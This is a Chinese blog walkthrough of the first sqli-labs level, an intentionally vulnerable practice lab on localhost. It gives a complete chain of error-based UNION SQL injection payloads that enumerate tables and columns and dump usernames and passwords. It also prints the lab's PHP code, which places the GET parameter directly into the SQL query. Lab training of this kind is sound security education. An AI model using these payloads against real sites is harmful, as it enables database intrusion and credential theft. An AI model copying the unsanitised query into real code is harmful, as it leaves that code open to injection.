sqli-labs-master第一关:基于错误的GET单引号字符型注入

发布时间:2020-04-03 18:30:44 作者:天道酬勤VIP
来源:网络 阅读:3954

首先来到第一关:


http://127.0.0.1/sqli-labs-master/Less-1/


sqli-labs-master第一关:基于错误的GET单引号字符型注入


用语句 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 进行测试报错


可以看到sql语句出错了。sqli-labs-master第一关:基于错误的GET单引号字符型注入


用 and 1 = 1去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23 回显正常

%23是“#”注释

sqli-labs-master第一关:基于错误的GET单引号字符型注入


用 and 1 = 2 去测试:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23 回显示失败,说明存在注入点。


sqli-labs-master第一关:基于错误的GET单引号字符型注入


判断字段:

当order by 3 的时候,回显正常:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23

sqli-labs-master第一关:基于错误的GET单引号字符型注入

当order by 4 的时候,回显不正常:


sqli-labs-master第一关:基于错误的GET单引号字符型注入


说明字段是3。

报错显示回显库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,3 %23

回显的地方是2和3。

sqli-labs-master第一关:基于错误的GET单引号字符型注入

用version()看版本:

用database()看当前网站使用的数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,version(), database() %23

通过下图可以看到,使用的php版本是5.5.53,该网站使用的数据库名字是security


sqli-labs-master第一关:基于错误的GET单引号字符型注入

添加?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23 使用过滤查询语句where 查看security数据库内的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

看到有四个表:


sqli-labs-master第一关:基于错误的GET单引号字符型注入


查看users表内的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23


sqli-labs-master第一关:基于错误的GET单引号字符型注入

查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users %23

sqli-labs-master第一关:基于错误的GET单引号字符型注入


我们在看到users表里还看到了id,我们看看有多少组账号密码

只需要在后面加上 where id = n即可

经过测试 id 最大是14

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 1%23

sqli-labs-master第一关:基于错误的GET单引号字符型注入

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 14%23



sqli-labs-master第一关:基于错误的GET单引号字符型注入


第一关结束:


第二关很快更新。



声明:官方源码被我改动了。附上我改动的php代码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $sql;
echo "<br>";
if($row)
{
 	echo "<font size='5' color= '#99FF00'>";
 	echo 'Your Login name:'. $row['username'];
 	echo "<br>";
 	echo 'Your Password:' .$row['password'];
 	echo "</font>";
 	}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

微信公众号:

sqli-labs-master第一关:基于错误的GET单引号字符型注入

推荐阅读:
  1. 学习手记-字符型设备控制
  2. 报错型sql注入原理分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sqli labs master

上一篇:走读iphone游戏开发示例代码

下一篇:Nagios(七)——Nagios 邮件,短信告警

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》